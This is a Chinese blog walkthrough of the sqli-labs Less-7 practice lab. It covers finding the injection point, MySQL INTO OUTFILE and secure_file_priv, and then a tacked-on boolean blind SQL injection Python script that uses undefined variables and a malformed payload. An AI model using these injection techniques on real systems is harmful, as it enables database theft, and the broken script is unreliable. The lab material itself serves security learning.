sqli-labs第七关(详讲)

sqli-labs第七关


第七关根据提示知道要用outfile,于是通过注入判断发现是字符型
在这里插入图片描述
开始构造语句
结合前六关的经验首先想到括号)
在这里插入图片描述
不对 再加一个括号试试?
在这里插入图片描述
对了 那么语句部分可能是 where id=(('$id'))
然后通过order by判断字段个数
在这里插入图片描述

先简单的提一下outfile

在MySQL里面使用select … into outfile可以把数据导出到文本文件上
里面有几个参数
secure_file_priv 用来限制导出效果。他有三个属性
null限制不能导出
为空可以自定义
为一个路径则只能导出到指定路径

datadir是MySQL数据存储位置,是默认的相对位置。
查询时候加上@@ 如@@secure_file_priv、@@datadir

我指定在/tmp/12.txt
在这里插入图片描述
如果不指定目录就在datadir目录
在这里插入图片描述

如果导出失败目地目录就不会产生文件

然后通过前几关的方式获取数据
在这里插入图片描述
获取数据
在这里插入图片描述


总结

每次作业总结找到注入点的经验。

### SQLi-Labs 第七 布尔盲注 解法 在SQLi-Labs第七中,目标是在给定条件下利用布尔盲注技术来获取数据库中的信息。由于该题目不允许使用联合查询,并且仅返回特定字符串或无任何响应作为反馈[^5]。 #### 利用布尔条件判断字符 为了逐位猜解出所需的敏感数据(如表名、列名),可以采用二分查找算法配合ASCII码比较的方式来进行暴力破解: ```python import requests url = "http://example.com/sqli-labs/Less-7/" true_string = "you are in" false_string = "" def check(payload): params = {'id': payload} response = requests.get(url, params=params) if true_string in response.text: return True elif false_string in response.text or not response.ok: return False payload_template = "' OR (SELECT ASCII(SUBSTRING(({}),{},1)){})>={}-- " char_position = 1 current_char_ascii_value = 32 # Start from space character's ASCII value max_possible_ascii_value = 126 # Tilde (~) is the last printable character while char_position <= max_length_of_target_data: low = current_char_ascii_value high = min(current_char_ascii_value + binary_search_step_size, max_possible_ascii_value) while low <= high: mid = int((low + high)/2) test_payload = payload_template.format(target_query, str(char_position), '>', str(mid)) result = check(test_payload) if result: low = mid + 1 else: break actual_character = chr(low - 1) print(f"Character at position {str(char_position)}: '{actual_character}'") target_data += actual_character char_position += 1 ``` 此脚本通过不断调整`mid`值并发送带有不同有效载荷的HTTP请求,直到找到使服务器返回预期结果的最大可能字节值为止。一旦确定了一个位置上的确切字符,则继续处理下一个字符的位置,直至完成整个字符串的恢复工作。 需要注意的是,在实际环境中应当替换掉示例URL以及适当修改其他参数以适应具体场景下的需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值